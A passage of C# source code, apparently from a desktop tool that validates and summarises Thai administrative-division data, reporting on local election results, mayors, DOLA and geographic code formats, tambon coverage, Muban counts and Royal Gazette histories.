officialBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2}", item.Entity.english, item.Entity.geocode, officialTermEnd);
officialBuilder.AppendLine();
officialCount++;
}
if (officialCount > 0)
{
result +=
String.Format(CultureInfo.CurrentUICulture, "{0} LAO official elections pending", officialCount) + Environment.NewLine +
officialBuilder.ToString() + Environment.NewLine;
}
var officialUnknownBuilder = new StringBuilder();
Int32 officialUnknownCount = 0;
foreach (var item in itemsWithOfficialElectionResultUnknown)
{
if ((item.OfficialTerm.begin != null) && (item.OfficialTerm.begin.Year > 1900)) // must be always true
{
officialUnknownBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2:d}", item.Entity.english, item.Entity.geocode, item.OfficialTerm.begin);
officialUnknownBuilder.AppendLine();
officialUnknownCount++;
}
}
if (officialUnknownCount > 0)
{
result +=
String.Format(CultureInfo.CurrentUICulture, "{0} LAO official elections result missing", officialUnknownCount) + Environment.NewLine +
officialUnknownBuilder.ToString() + Environment.NewLine;
}
var thesaban = dummyEntity.FlatList().Where(x => !x.IsObsolete && x.office != null && (x.type == EntityType.ThesabanTambon || x.type == EntityType.ThesabanMueang || x.type == EntityType.ThesabanNakhon));
var thesabanWithMayorFrom2021 = thesaban.Where(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().begin == new DateTime(2021, 03, 28)).ToList();
var mayorReElected = thesabanWithMayorFrom2021.Where(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name == x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().ElementAt(1).name).ToList();
var remainingMayor = thesabanWithMayorFrom2021.ToList();
remainingMayor.RemoveAll(x => mayorReElected.Contains(x));
var oldMayorElected = remainingMayor.Where(x => (x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().Count(y => y.name == x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name)) > 1).ToList();
var relativeElected = remainingMayor.Where(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().ElementAt(1).name.LastName() == x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name.LastName()).ToList();
if (thesaban.Any())
{
result += Environment.NewLine + "Municipality mayors:" + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} mayors elected", thesabanWithMayorFrom2021.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} mayors reelected", mayorReElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} previous mayors elected", oldMayorElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} new mayors elected", thesabanWithMayorFrom2021.Count - mayorReElected.Count - oldMayorElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} relative of previous mayor elected", relativeElected.Count) + Environment.NewLine;
}
var tao = dummyEntity.FlatList().Where(x => !x.IsObsolete && x.office != null && x.type == EntityType.TAO);
var taoWithMayorFrom2021 = tao.Where(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().begin == new DateTime(2021, 11, 28)).ToList();
var taoMayorReElected = taoWithMayorFrom2021.Where(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name == x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().ElementAt(1).name).ToList();
var taoRemainingMayor = taoWithMayorFrom2021.ToList();
taoRemainingMayor.RemoveAll(x => taoMayorReElected.Contains(x));
var taoOldMayorElected = taoRemainingMayor.Where(x => (x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().Count(y => y.name == x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name)) > 1).ToList();
var taoRelativeElected = taoRemainingMayor.Where(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().ElementAt(1).name.LastName() == x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name.LastName()).ToList();
var taoMayorFirstNames = taoWithMayorFrom2021.GroupBy(x => x.office.First().officials.OfficialTerms.OfType<OfficialEntry>().First().name.Split(' ').First()).OrderByDescending(x => x.Count());
if (taoWithMayorFrom2021.Any())
{
result += Environment.NewLine + "TAO mayors:" + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} mayors elected (of {1} TAO)", taoWithMayorFrom2021.Count, tao.Count()) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} mayors reelected", taoMayorReElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} previous mayors elected", taoOldMayorElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} new mayors elected", taoWithMayorFrom2021.Count - taoMayorReElected.Count - taoOldMayorElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "{0} relative of previous mayor elected", taoRelativeElected.Count) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "Most common first name {0} ({1})", taoMayorFirstNames.First().Key, taoMayorFirstNames.First().Count());
}
txtElections.Text = result;
}
private void CheckForErrors(Entity entity)
{
var text = String.Empty;
var wrongGeocodes = entity.WrongGeocodes();
if (wrongGeocodes.Any())
{
text += "Wrong geocodes:" + Environment.NewLine;
foreach (var code in wrongGeocodes)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
var localGovernmentsInEntity = entity.LocalGovernmentEntitiesOf(_localGovernments).ToList();
// var localGovernmentsInProvince = LocalGovernmentEntitiesOf(this.baseEntity.entity.First(x => x.geocode == GeocodeHelper.ProvinceCode(entity.geocode))).ToList();
var localEntitiesWithOffice = localGovernmentsInEntity.Where(x => x.Dola != null && !x.IsObsolete).ToList(); // Dola != null when there is a local government office
// var localEntitiesInProvinceWithOffice = localGovernmentsInProvince.Where(x => x.Dola != null && !x.IsObsolete).ToList(); // Dola != null when there is a local government office
if (ShowDolaErrors)
{
var entitiesWithDolaCode = localEntitiesWithOffice.Where(x => x.LastedDolaCode() != 0).ToList();
var allDolaCodes = entitiesWithDolaCode.Select(x => x.LastedDolaCode()).ToList();
var duplicateDolaCodes = allDolaCodes.GroupBy(s => s).SelectMany(grp => grp.Skip(1)).ToList();
if (duplicateDolaCodes.Any())
{
text += "Duplicate DOLA codes:" + Environment.NewLine;
foreach (var code in duplicateDolaCodes)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
var invalidDolaCodeEntities = entitiesWithDolaCode.Where(x => !x.DolaCodeValid()).ToList();
if (invalidDolaCodeEntities.Any())
{
text += "Invalid DOLA codes:" + Environment.NewLine;
foreach (var dolaEntity in invalidDolaCodeEntities)
{
text += String.Format(" {0} {1} ({2})", dolaEntity.LastedDolaCode(), dolaEntity.english, dolaEntity.type) + Environment.NewLine;
}
text += Environment.NewLine;
}
}
var localEntitiesWithoutParent = localEntitiesWithOffice.Where(x => !x.parent.Any());
if (localEntitiesWithoutParent.Any())
{
text += "Local governments without parent:" + Environment.NewLine;
foreach (var subEntity in localEntitiesWithoutParent)
{
text += String.Format(" {0} {1}", subEntity.geocode, subEntity.english) + Environment.NewLine;
}
text += Environment.NewLine;
}
var allTambon = entity.FlatList().Where(x => x.type == EntityType.Tambon && !x.IsObsolete).ToList();
var localGovernmentCoverages = new List<LocalGovernmentCoverageEntity>();
foreach (var item in localEntitiesWithOffice)
{
localGovernmentCoverages.AddRange(item.LocalGovernmentAreaCoverage);
}
var localGovernmentCoveragesByTambon = localGovernmentCoverages.GroupBy(s => s.geocode);
var tambonWithMoreThanOneCoverage = localGovernmentCoveragesByTambon.Where(x => x.Count() > 1);
var duplicateCompletelyCoveredTambon = tambonWithMoreThanOneCoverage.Where(x => x.Any(y => y.coverage == CoverageType.completely)).Select(x => x.Key);
var invalidLocalGovernmentCoverages = localGovernmentCoveragesByTambon.Where(x => !allTambon.Any(y => y.geocode == x.Key));
// var tambonWithMoreThanOneCoverage = localGovernmentCoveragesByTambon.SelectMany(grp => grp.Skip(1)).ToList();
// var duplicateCompletelyCoveredTambon = tambonWithMoreThanOneCoverage.Where(x => x.coverage == CoverageType.completely);
if (invalidLocalGovernmentCoverages.Any())
{
text += "Invalid Tambon references by areacoverage:" + Environment.NewLine;
foreach (var code in invalidLocalGovernmentCoverages)
{
text += String.Format(" {0}", code.Key) + Environment.NewLine;
}
text += Environment.NewLine;
}
if (duplicateCompletelyCoveredTambon.Any())
{
text += "Tambon covered completely more than once:" + Environment.NewLine;
foreach (var code in duplicateCompletelyCoveredTambon)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
var partialLocalGovernmentCoverages = localGovernmentCoverages.Where(x => x.coverage == CoverageType.partially);
var partiallyCoveredTambon = partialLocalGovernmentCoverages.GroupBy(s => s.geocode);
var onlyOnePartialCoverage = partiallyCoveredTambon.Select(group => new
{
code = group.Key,
count = group.Count()
}).Where(x => x.count == 1).Select(y => y.code);
if (onlyOnePartialCoverage.Any())
{
text += "Tambon covered partially only once:" + Environment.NewLine;
foreach (var code in onlyOnePartialCoverage)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
var tambonWithoutCoverage = allTambon.Where(x => !localGovernmentCoveragesByTambon.Any(y => y.Key == x.geocode));
if (tambonWithoutCoverage.Any())
{
text += String.Format("Tambon without coverage ({0}):", tambonWithoutCoverage.Count()) + Environment.NewLine;
foreach (var tambon in tambonWithoutCoverage)
{
text += String.Format(" {0}", tambon.geocode) + Environment.NewLine;
}
text += Environment.NewLine;
}
var localGovernmentWithoutCoverage = localEntitiesWithOffice.Where(x => x.type != EntityType.PAO && !x.LocalGovernmentAreaCoverage.Any());
if (localGovernmentWithoutCoverage.Any())
{
text += String.Format("LAO without coverage ({0}):", localGovernmentWithoutCoverage.Count()) + Environment.NewLine;
foreach (var tambon in localGovernmentWithoutCoverage)
{
text += String.Format(" {0}", tambon.geocode) + Environment.NewLine;
}
text += Environment.NewLine;
}
var tambonWithoutPostalCode = allTambon.Where(x => !x.codes.post.value.Any());
if (tambonWithoutPostalCode.Any())
{
text += String.Format("Tambon without postal code ({0}):", tambonWithoutPostalCode.Count()) + Environment.NewLine;
foreach (var tambon in tambonWithoutPostalCode)
{
text += String.Format(" {0}", tambon.geocode) + Environment.NewLine;
}
text += Environment.NewLine;
}
if (GlobalData.AllGazetteAnnouncements.AllGazetteEntries.Any())
{
var tambonWithoutAreaDefinition = allTambon.Where(x => !x.entitycount.Any());
if (tambonWithoutAreaDefinition.Any())
{
text += String.Format("Tambon without Royal Gazette area definition ({0}):", tambonWithoutAreaDefinition.Count()) + Environment.NewLine;
foreach (var tambon in tambonWithoutAreaDefinition)
{
text += String.Format(" {0}", tambon.geocode) + Environment.NewLine;
}
text += Environment.NewLine;
}
}
var unknownNeighbors = new List<UInt32>();
var onewayNeighbors = new List<UInt32>();
var selfNeighbors = new List<UInt32>();
foreach (var entityWithNeighbors in entity.FlatList().Where(x => x.area.bounding.Any()))
{
foreach (var neighbor in entityWithNeighbors.area.bounding.Select(x => x.geocode))
{
var targetEntity = _allEntities.FirstOrDefault(x => x.geocode == neighbor);
if (targetEntity == null)
{
unknownNeighbors.Add(neighbor);
}
else if (targetEntity.area.bounding.Any() && !targetEntity.area.bounding.Any(x => x.geocode == entityWithNeighbors.geocode))
{
if (!onewayNeighbors.Contains(entityWithNeighbors.geocode))
{
onewayNeighbors.Add(entityWithNeighbors.geocode);
}
}
}
if (entityWithNeighbors.area.bounding.Any(x => x.geocode == entityWithNeighbors.geocode))
{
selfNeighbors.Add(entityWithNeighbors.geocode);
}
}
if (unknownNeighbors.Any())
{
text += String.Format("Invalid neighboring entities ({0}):", unknownNeighbors.Count()) + Environment.NewLine;
foreach (var code in unknownNeighbors)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
if (onewayNeighbors.Any())
{
text += String.Format("Neighboring entities not found in both direction ({0}):", onewayNeighbors.Count()) + Environment.NewLine;
foreach (var code in onewayNeighbors)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
if (selfNeighbors.Any())
{
text += String.Format("Neighboring entities includes self ({0}):", selfNeighbors.Count()) + Environment.NewLine;
foreach (var code in selfNeighbors)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat }, "FIPS10", (Entity x) => x.codes.fips10.value, "^TH\\d\\d$", true);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat }, "ISO3166", (Entity x) => x.codes.iso3166.value, "^TH-(\\d\\d|S)$", true);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat, EntityType.Amphoe }, "HASC", (Entity x) => x.codes.hasc.value, "^TH(\\.[A-Z]{2}){1,2}$", true);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat, EntityType.Amphoe }, "SALB", (Entity x) => x.codes.salb.value, "^THA(\\d{3}){1,2}$", false);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat, EntityType.Amphoe }, "GNS-UFI", (Entity x) => x.codes.gnsufi.value, "^[-]{0,1}\\d+$", true);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat, EntityType.Amphoe }, "WOEID", (Entity x) => x.codes.woeid.value, "^\\d+$", true);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat, EntityType.Amphoe }, "geonames", (Entity x) => x.codes.geonames.value, "^\\d+$", true);
text += CheckCode(entity, new List<EntityType>() { EntityType.Changwat, EntityType.Amphoe, EntityType.Tambon }, "GADM", (Entity x) => x.codes.gadm.value, "^THA(\\.\\d{1,2}){1,3}_\\d$", false);
var entityWithoutSlogan = entity.FlatList().Where(x => !x.IsObsolete && (x.type.IsCompatibleEntityType(EntityType.Changwat) || x.type.IsCompatibleEntityType(EntityType.Amphoe)) && !x.symbols.slogan.Any());
if (entityWithoutSlogan.Any())
{
text += String.Format("Province/District without slogan ({0}):", entityWithoutSlogan.Count()) + Environment.NewLine;
foreach (var item in entityWithoutSlogan)
{
text += String.Format(" {0}: {1}", item.geocode, item.english) + Environment.NewLine;
}
text += Environment.NewLine;
}
var entitiesToCheckForHistory = entity.FlatList().Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe) || (x.type == EntityType.Tambon) || x.type.IsCompatibleEntityType(EntityType.Changwat));
var entitiesToCheckWithCreationHistory = entitiesToCheckForHistory.Where(x => x.history.Items.Any(y => y is HistoryCreate));
var entitiesCreationWithoutSubdivisions = entitiesToCheckWithCreationHistory.Where(x => (x.history.Items.FirstOrDefault(y => y is HistoryCreate) as HistoryCreate).subdivisions == 0);
if (entitiesCreationWithoutSubdivisions.Any())
{
text += String.Format("Entities with creation but no subdivision number ({0}):", entitiesCreationWithoutSubdivisions.Count()) + Environment.NewLine;
foreach (var item in entitiesCreationWithoutSubdivisions)
{
text += String.Format(" {0}: {1}", item.geocode, item.english) + Environment.NewLine;
}
text += Environment.NewLine;
}
var entitiesWithoutCreation = entity.FlatList().Where(x => !x.IsObsolete && !x.history.Items.Any(y => y is HistoryCreate));
var entitiesWithGazetteCreation = entitiesWithoutCreation.Where(x => GazetteCreationHistory(x) != null);
// remove those strange 1947 Tambon creation
var entitiesWithGazetteCreationFiltered = entitiesWithGazetteCreation.Where(x => x.type != EntityType.Tambon || GazetteCreationHistory(x).effective.Year >= 1950);
if (entitiesWithGazetteCreationFiltered.Any())
{
text += String.Format("Entities with creation missing ({0}):", entitiesWithGazetteCreationFiltered.Count()) + Environment.NewLine;
foreach (var item in entitiesWithGazetteCreationFiltered)
{
text += String.Format(" {0}: {1}", item.geocode, item.english) + Environment.NewLine;
}
text += Environment.NewLine;
}
var entitiesWithArea2003 = entity.FlatList().Where(x => !x.IsObsolete && x.area.area.Any(y => y.year == "2003" && !y.invalid));
foreach (var entityWithArea in entitiesWithArea2003)
{
var subEntitiesWithArea = entityWithArea.entity.Where(x => !x.IsObsolete && x.area.area.Any(y => y.year == "2003" && !y.invalid));
if (subEntitiesWithArea.Any())
{
Decimal area = 0;
foreach (var subEntity in subEntitiesWithArea)
{
area += subEntity.area.area.First(x => x.year == "2003" && !x.invalid).value;
}
var expected = entityWithArea.area.area.First(x => x.year == "2003").value;
if (area != expected)
{
text += String.Format("Area sum in 2003 not correct for {0} (expected {1}, actual {2}):", entityWithArea.english, expected, area) + Environment.NewLine;
}
}
}
var laoWithoutWebId = localGovernmentsInEntity.Where(x => !x.IsObsolete && !x.office.First().webidSpecified).ToList();
if (laoWithoutWebId.Any())
{
text += String.Format("Entities without DOLA web id ({0}):", laoWithoutWebId.Count()) + Environment.NewLine;
foreach (var item in laoWithoutWebId)
{
text += String.Format(" {0}: {1}", item.geocode, item.english) + Environment.NewLine;
}
text += Environment.NewLine;
}
// check area coverages
txtErrors.Text = text;
}
private static Dictionary<UInt32, HistoryList> ExtractHistoriesFromGazette(Entity entity, IEnumerable<Entity> allEntities)
{
// converting to dictionary much faster than FirstOrDefault(x => x.geocode) for each item later
// var allEntityDictionary = allEntities.ToDictionary(x => x.geocode);
// TODO - area change as well
// Use IEnumerable<>.OfType/Cast to speed it up?
var result = new Dictionary<UInt32, HistoryList>();
//var startingDate = new DateTime(1950, 1, 1);
//var gazetteNewerThan1950 = GlobalData.AllGazetteAnnouncements.AllGazetteEntries.Where(x => x.publication > startingDate);
// var gazetteWithCreationOrStatus = gazetteNewerThan1950.Where(x => x.Items.Any(y => y is GazetteCreate || y is GazetteStatusChange)).ToList();
var gazetteContent = GlobalData.AllGazetteAnnouncements.AllGazetteEntries.SelectMany(x => x.GazetteOperations().OfType<GazetteOperationBase>().Where(y => y is GazetteCreate || y is GazetteStatusChange || y is GazetteRename || y is GazetteAreaChange || y is GazetteReassign || y is GazetteParentChange), (Gazette, History) => new
{
Gazette,
History
}).ToList();
// var gazetteContentInCurrentEntity = gazetteContent.Where(x => GeocodeHelper.IsBaseGeocode(entity.geocode, ((GazetteOperationBase)x.History).geocode)).ToList();
foreach (var gazetteHistoryTuple in gazetteContent)
{
var gazetteOperation = gazetteHistoryTuple.History;
if (gazetteOperation != null)
{
UInt32 geocode = 0;
if (gazetteOperation.tambonSpecified)
{
geocode = gazetteOperation.tambon + 50;
}
if (gazetteOperation.geocodeSpecified)
{
geocode = gazetteOperation.geocode;
}
if (geocode != 0)
{
HistoryEntryBase history = gazetteOperation.ConvertToHistory();
if (history != null)
{
history.AddGazetteReference(gazetteHistoryTuple.Gazette);
var doAdd = true;
if ((GeocodeHelper.GeocodeLevel(geocode) == 4) && (history is HistoryReassign))
{
// skip the reassign for Muban as the Muban geocodes are not stable!
doAdd = false;
}
if (doAdd)
{
if (!result.Keys.Contains(geocode))
{
result[geocode] = new HistoryList();
}
result[geocode].Items.Add(history);
result[geocode].Items.Sort((x, y) => y.effective.CompareTo(x.effective));
}
}
}
}
}
return result;
}
private String CheckCode(Entity entity, IEnumerable<EntityType> entityTypes, String codeName, Func<Entity, String> selector, String format, Boolean checkMissing)
{
String text = String.Empty;
var allEntites = entity.FlatList().Where(x => !x.IsObsolete);
var allEntityOfFittingType = allEntites.Where(x => x.type.IsCompatibleEntityType(entityTypes));
var entitiesWithoutCode = allEntityOfFittingType.Where(x => String.IsNullOrEmpty(selector(x)));
if (checkMissing && entitiesWithoutCode.Any())
{
text += String.Format("Entity without {0} code ({1}):", codeName, entitiesWithoutCode.Count()) + Environment.NewLine;
foreach (var subEntity in entitiesWithoutCode)
{
text += String.Format(" {0}", subEntity.geocode) + Environment.NewLine;
}
text += Environment.NewLine;
}
var allCodes = allEntites.Where(x => !String.IsNullOrEmpty(selector(x))).Select(y => selector(y)).ToList();
var duplicateCodes = allCodes.GroupBy(s => s).SelectMany(grp => grp.Skip(1)).ToList();
if (duplicateCodes.Any())
{
text += String.Format("Duplicate {0} codes:", codeName) + Environment.NewLine;
foreach (var code in duplicateCodes)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
var regex = new Regex(format);
var invalidCodes = allCodes.Where(x => !regex.IsMatch(x));
if (invalidCodes.Any())
{
text += String.Format("Invalid {0} codes:", codeName) + Environment.NewLine;
foreach (var code in invalidCodes)
{
text += String.Format(" {0}", code) + Environment.NewLine;
}
text += Environment.NewLine;
}
return text;
}
private void SetInfo(Entity entity)
{
var value = String.Empty;
var populationData = entity.population.FirstOrDefault(x => x.Year == PopulationReferenceYear && x.source == PopulationDataSource);
if (populationData != null)
{
value = String.Format("Population: {0} ({1} male, {2} female)",
populationData.TotalPopulation.total,
populationData.TotalPopulation.male,
populationData.TotalPopulation.female) + Environment.NewLine + Environment.NewLine;
}
value += EntitySubDivisionCount(entity) + Environment.NewLine;
txtSubDivisions.Text = value;
}
private void CalcMubanData(Entity entity)
{
String result = String.Empty;
var allTambon = entity.FlatList().Where(x => !x.IsObsolete && x.type == EntityType.Tambon);
var allMuban = entity.FlatList().Where(x => !x.IsObsolete && x.type == EntityType.Muban);
var mubanNumbers = allTambon.GroupBy(x => x.entity.Count(y => !y.IsObsolete && y.type == EntityType.Muban))
.Select(g => g.Key).ToList();
mubanNumbers.Sort();
if (allMuban.Count() == 0)
{
result = "No Muban" + Environment.NewLine;
}
else
{
result = String.Format("{0} Muban; Tambon have between {1} and {2} Muban" + Environment.NewLine,
allMuban.Count(),
mubanNumbers.First(),
mubanNumbers.Last());
var counter = new FrequencyCounter();
foreach (var tambon in allTambon)
{
counter.IncrementForCount(tambon.entity.Count(x => x.type == EntityType.Muban && !x.IsObsolete), tambon.geocode);
}
result += String.Format("Most common Muban number: {0}", counter.MostCommonValue) + Environment.NewLine;
result += String.Format("Median Muban number: {0:0.0}", counter.MedianValue) + Environment.NewLine;
if (counter.Data.TryGetValue(0, out List<UInt32> tambonWithNoMuban))
{
result += String.Format("Tambon without Muban: {0}", tambonWithNoMuban.Count) + Environment.NewLine;
}
}
var mubanCreatedRecently = allMuban.Where(x => x.history.Items.Any(y => y is HistoryCreate)).ToList();
if (mubanCreatedRecently.Any())
{
result += String.Format("Muban created recently: {0}", mubanCreatedRecently.Count) + Environment.NewLine;
var mubanByYear = mubanCreatedRecently.GroupBy(x => ((HistoryCreate)(x.history.Items.First(y => y is HistoryCreate))).effective.Year).OrderBy(x => x.Key);
foreach (var item in mubanByYear)
{
result += String.Format(" {0}: {1}", item.Key, item.Count()) + Environment.NewLine;
}
}
// could add: Muban creations in last years
var tambonWithInvalidMubanNumber = TambonWithInvalidMubanNumber(allTambon);
if (tambonWithInvalidMubanNumber.Any())
{
result += Environment.NewLine + String.Format("Muban inconsistent for {0} Muban:", tambonWithInvalidMubanNumber.Count()) + Environment.NewLine;
foreach (var tambon in tambonWithInvalidMubanNumber)
{
result += String.Format("{0}: {1}", tambon.geocode, tambon.english) + Environment.NewLine;
}
}
txtMuban.Text = result;
}
private void CalcLocalGovernmentData(Entity entity)
{
String result = String.Empty;
var localGovernmentsInEntity = entity.LocalGovernmentEntitiesOf(_localGovernments).ToList();
// var localGovernmentsInProvince = LocalGovernmentEntitiesOf(this.baseEntity.entity.First(x => x.geocode == GeocodeHelper.ProvinceCode(entity.geocode))).ToList();
var localGovernmentsObsolete = localGovernmentsInEntity.Where(x => x.IsObsolete);
var localEntitiesWithOffice = localGovernmentsInEntity.Where(x => x.Dola != null && !x.IsObsolete).ToList(); // Dola != null when there is a local government office
// var localEntitiesInProvinceWithOffice = localGovernmentsInProvince.Where(x => x.Dola != null && !x.IsObsolete).ToList(); // Dola != null when there is a local government office
var localEntitiesWithCoverage = localEntitiesWithOffice.Where(x => x.LocalGovernmentAreaCoverage.Any());
var localEntitiesWithoutCoverage = localEntitiesWithOffice.Where(x => !x.LocalGovernmentAreaCoverage.Any() && x.type != EntityType.PAO);
var localGovernmentCoveringMoreThanOneTambon = localEntitiesWithCoverage.Where(x => x.LocalGovernmentAreaCoverage.Count() > 1);
var localGovernmentCoveringExactlyOneTambon = localEntitiesWithCoverage.Where(x => x.LocalGovernmentAreaCoverage.Count() == 1 && x.LocalGovernmentAreaCoverage.First().coverage == CoverageType.completely);
var localGovernmentCoveringOneTambonPartially = localEntitiesWithCoverage.Where(x => x.LocalGovernmentAreaCoverage.Count() == 1 && x.LocalGovernmentAreaCoverage.First().coverage == CoverageType.partially);
var localGovernmentCoveringMoreThanOneTambonAndAllCompletely = localGovernmentCoveringMoreThanOneTambon.Where(x => x.LocalGovernmentAreaCoverage.All(y => y.coverage == CoverageType.completely));
result += String.Format(CultureInfo.CurrentUICulture, "LAO: {0}", localEntitiesWithOffice.Count()) + Environment.NewLine;
if (localGovernmentsObsolete.Any())
{
result += String.Format(CultureInfo.CurrentUICulture, "Abolished LAO: {0}", localGovernmentsObsolete.Count()) + Environment.NewLine;
}
result += String.Format(CultureInfo.CurrentUICulture, "LAO with coverage: {0}", localEntitiesWithCoverage.Count()) + Environment.NewLine;
if (localEntitiesWithoutCoverage.Any())
{
result += String.Format(CultureInfo.CurrentUICulture, "LAO missing coverage: {0}", localEntitiesWithoutCoverage.Count()) + Environment.NewLine;
}
result += String.Format(CultureInfo.CurrentUICulture, "LAO covering exactly one Tambon: {0}", localGovernmentCoveringExactlyOneTambon.Count()) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "LAO covering one Tambon partially: {0}", localGovernmentCoveringOneTambonPartially.Count()) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "LAO covering more than one Tambon: {0} ({1} TAO)",
localGovernmentCoveringMoreThanOneTambon.Count(),
localGovernmentCoveringMoreThanOneTambon.Where(x => x.type == EntityType.TAO).Count()) + Environment.NewLine;
result += String.Format(CultureInfo.CurrentUICulture, "LAO covering more than one Tambon and all completely: {0} ({1} TAO)",
localGovernmentCoveringMoreThanOneTambonAndAllCompletely.Count(),
localGovernmentCoveringMoreThanOneTambonAndAllCompletely.Where(x => x.type == EntityType.TAO).Count()) + Environment.NewLine + Environment.NewLine;
var localEntitiesWithVacantMayor = localEntitiesWithOffice.Where(x => x.office.First().officials.OfficialTermsOrVacancies.FirstOrDefault() as OfficialVacancy != null);
if (localEntitiesWithVacantMayor.Any())
{
result += String.Format(CultureInfo.CurrentUICulture, "LAO with vacant mayor: {0} ({1} TAO)",
localEntitiesWithVacantMayor.Count(),
localEntitiesWithVacantMayor.Where(x => x.type == EntityType.TAO).Count()) + Environment.NewLine;
}
var localEntitiesWithVacantCouncil = localEntitiesWithOffice.Where(x => x.office.First().council.CouncilTermsOrVacancies.FirstOrDefault() as CouncilVacancy != null);
if (localEntitiesWithVacantCouncil.Any())
{
result += String.Format(CultureInfo.CurrentUICulture, "LAO with vacant council: {0} ({1} TAO)",
localEntitiesWithVacantCouncil.Count(),
localEntitiesWithVacantCouncil.Where(x => x.type == EntityType.TAO).Count()) + Environment.NewLine;
}
var localGovernmentExpectingHistory = localGovernmentsInEntity.Where(x => x.Dola != null && x.type != EntityType.PAO);
var localGovernmentWithoutLatestHistory = localGovernmentExpectingHistory.Where(x =>
!x.history.Items.Any(y => y is HistoryCreate) &&
(!x.history.Items.Any(y => y is HistoryCreate && (y as HistoryCreate).type == x.type) ||
!x.history.Items.Any(y => y is HistoryStatus && (y as HistoryStatus).@new == x.type))
).ToList();
localGovernmentWithoutLatestHistory.AddRange(localGovernmentExpectingHistory.Where(x =>
x.IsObsolete &&
!x.history.Items.Any(y => y is HistoryAbolish && (y as HistoryAbolish).type == x.type))
);
if (localGovernmentWithoutLatestHistory.Count() > 0)
{
result += String.Format(CultureInfo.CurrentUICulture, "LAO without latest history: {0} ({1} TAO)",
localGovernmentWithoutLatestHistory.Count(),
localGovernmentWithoutLatestHistory.Where(x => x.type == EntityType.TAO).Count()) + Environment.NewLine;
}
var localGovernmentWithoutCreation = localGovernmentExpectingHistory.Where(x =>
!x.history.Items.Any(y => y is HistoryCreate)).ToList();
if (localGovernmentWithoutCreation.Count() > 0)
{
result += String.Format(CultureInfo.CurrentUICulture, "LAO without creation history: {0} ({1} TAO)",
localGovernmentWithoutCreation.Count(),
localGovernmentWithoutCreation.Where(x => x.type == EntityType.TAO).Count()) + Environment.NewLine;
}
// initialize empty SML data dictionary
var sml = new Dictionary<EntityType, Dictionary<SmallMediumLarge, Int32>>();
var smlTypes = new List<SmallMediumLarge>() { SmallMediumLarge.L, SmallMediumLarge.M, SmallMediumLarge.S, SmallMediumLarge.Undefined };
var laoTypes = new List<EntityType>() { EntityType.ThesabanNakhon, EntityType.ThesabanMueang, EntityType.ThesabanTambon, EntityType.TAO, EntityType.Mueang, EntityType.SpecialAdministrativeUnit, EntityType.PAO };
foreach (var laoType in laoTypes)
{
var smlData = new Dictionary<SmallMediumLarge, Int32>();
foreach (var smlType in smlTypes)
{
smlData[smlType] = 0;
}
sml[laoType] = smlData;
}
// fill SML data
foreach (var lao in localGovernmentsInEntity)
{
if (lao.Dola != null)
{
var dola = lao.Dola.FirstOrDefault();
if (dola != null)
{
{
sml[lao.type][dola.SML]++;
}
}
}
}
// Convert to display
foreach (var laoType in laoTypes)
{
var smlData = sml[laoType];
var count = 0;
foreach (var smlType in smlTypes)
{
count += smlData[smlType];
}
if (count > 0)
{
var data = String.Empty;
foreach (var smlType in smlTypes)
{
if (smlData[smlType] > 0)
{
data += String.Format(CultureInfo.CurrentUICulture, "{0}: {1}, ", smlType, smlData[smlType]);
}
}
data = data.Remove(data.Length - 2, 2);
if (laoType != EntityType.PAO)
{
result += String.Format(CultureInfo.CurrentUICulture, "{0}: {1}", laoType, data) + Environment.NewLine;
}
}
}
txtLocalGovernment.Text = result;
}
private void CalcLocalGovernmentConstituencies(Entity entity)
{
String result = String.Empty;
var localGovernmentsInEntity = entity.LocalGovernmentEntitiesOf(_localGovernments).Where(x => !x.IsObsolete).ToList();
